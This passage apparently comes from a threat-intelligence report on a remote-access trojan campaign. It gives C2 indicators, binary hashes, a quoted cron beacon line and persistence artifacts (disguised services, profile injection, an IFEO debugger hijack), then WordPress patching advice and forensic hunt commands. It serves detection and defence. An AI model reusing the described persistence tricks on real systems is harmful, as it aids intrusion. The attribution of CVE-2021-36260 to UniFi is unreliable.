DOMAINv9g6.myRAT C2 — primary agent communicationACTIVE
IP202.61.136.40RAT C2 resolved IP (v9g6.my)ACTIVE
IP43.161.245.209Secondary C2 infrastructure — multiple associated domains, campaign correlation under investigationINVESTIGATING

File Hashes — Agent-TCP (UPX packed)

FilenameArchitectureSHA-256Size
agent_linux_amd64Linux x86-649c285fe3a491ee6a6f872ae71d47dfe29e44a40b9e7fcba85a39a2368584333a2.6 MB
agent_linux_arm64Linux ARM648d8280f0f12c656a5c87ac7d2f72417fdf36a4300276efeb4556060f1c98b4612.3 MB
agent_linux_arm7Linux ARMv7f51a9f65354d24fe29b06e8b89bb00ffd188e5093f92145895d564b331ce4a1b2.4 MB
agent_linux_arm5Linux ARMv5537aca3cf179c142a53346e7ad4da80757d42637489ee0bf1bc3ddfc097073e52.4 MB
agent_linux_mipsLinux MIPS BE1dbc908b691e28c0671237f45b9573af2420b0c02959bc6b2dc9bca20a70cce52.5 MB
agent_linux_mipsleLinux MIPS LE640b82f6941327dd907ba66c6a4e79f864ebebc57fc3c8edd448ce07e64d6d552.5 MB
agent_linux_mips64Linux MIPS64 BEc1b9c1202b38acb5dcda58d49249f2987cfc31cdb2a48aa501bca77dd59a7a416.9 MB
agent_linux_mips64leLinux MIPS64 LEb1b1b7b514c38922e8e276e082349b07c304bd3218f397cb2dbf753d86b604426.8 MB
agent_linux_ppc64Linux PPC64 BE2620182571d87f9b26ceae2427d7dbe061bdb7d1e6bdf8f1445e8fc4e28520412.3 MB
agent_linux_ppc64leLinux PPC64 LEbcf0c261299f471ab61e7ac296fb8876088fcfca71529bad5d5b2fdc057bd92c2.4 MB
agent_windows_amd64.exeWindows x86-644ff527e0d8fc36a99a491bc69a9cabeb055a4be470e22ec3da8e8bb741be9efc2.7 MB

File Hashes — Deployment Scripts

FilenameDescriptionSHA-256Size
wp2shell StagerPost-exploit stager — arch detection, agent download, 4-method persistence8d7885a574459908cd70d3718119a31a4a6c95052e3d1548feeccfffa00d4cde6.2 KB

Filesystem & Persistence Artifacts

TypeArtifactPlatformNotes
PATH/usr/local/bin/.uniFi-coreLinuxAgent binary — dot-prefix hidden, mimics Ubiquiti service
PATH/usr/local/bin/.cache-mgrLinuxAgent binary — dot-prefix hidden, generic cache name
PATH/usr/local/bin/dbusdLinuxAgent binary — mimics D-Bus daemon
PATH/tmp/.cache-mgrLinuxInitial drop path before persistence install
SERVICEuniFi-core.serviceLinux (systemd)Persistence — mimics Ubiquiti UniFi service name
SERVICEcache-mgr.serviceLinux (systemd)Persistence — alternative systemd unit name
SERVICES99dbusdLinux (init.d)Persistence — SysV init script, high run order
CRON@reboot /usr/local/bin/.uniFi-coreLinuxCrontab persistence — reboot trigger
CRON*/10 * * * * wget … /beaconLinuxHeartbeat beacon — every 10 minutes
PATH/etc/profileLinuxShell config injection — agent launch on login
REGKEYHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*\DebuggerWindowsIFEO hijack — agent injected as debugger for target process

11. Defensive Recommendations

Immediate Actions

PriorityActionTarget
CRITICALUpdate WordPress to 7.0.2 or 6.9.5 — patches CVE-2026-63030 (route-confusion SQLi) and CVE-2026-60137 (zero-credential admin creation)All WordPress 6.9.0–7.0.1 installations
CRITICALBlock /wp-json/batch/v1 and ?rest_route=/batch/v1 at WAF; block unauthenticated POST /wp/v2/users until patchedWAF / CDN / edge
CRITICALPatch Ubiquiti UniFi Network Application (CVE-2021-36260)All UniFi controllers
CRITICALBlock staging server, 202.61.136.40, and 43.161.245.209 (C2 infrastructure) at perimeterFirewall
HIGHBlock DNS resolution of v9g6.myInternal DNS resolvers
HIGHSearch for cache-mgr.service, uniFi-core.service, S99dbusd on all Linux hostsLinux endpoints, IoT
HIGHAudit for wp2_-prefixed WordPress admin accountsWordPress admin panels

Forensic Hunt Commands

# Linux — binary and persistence artifacts
find /tmp /usr/local/bin -name ".cache-mgr" -o -name ".uniFi-core" -o -name "dbusd" 2>/dev/null
stat /tmp/.cache-mgr.log 2>/dev/null
systemctl status cache-mgr uniFi-core syslog-ng 2>/dev/null
crontab -l 2>/dev/null | grep -E "cache-mgr|uniFi|dbusd|beacon"
find /etc/systemd/system /etc/init.d -name "cache-mgr" -o -name "uniFi-core" -o -name "S99dbusd"
grep -r "[STAGING-IP]" /etc/ /root/.bashrc /etc/profile 2>/dev/null

# Check for MemfdCreate artifacts (process-level, no disk file)
ls -la /proc/*/fd/ 2>/dev/null | grep "memfd"

# WordPress admin audit
wp user list --role=administrator --fields=user_login,user_email 2>/dev/null | grep "wp2_\|wp2shell"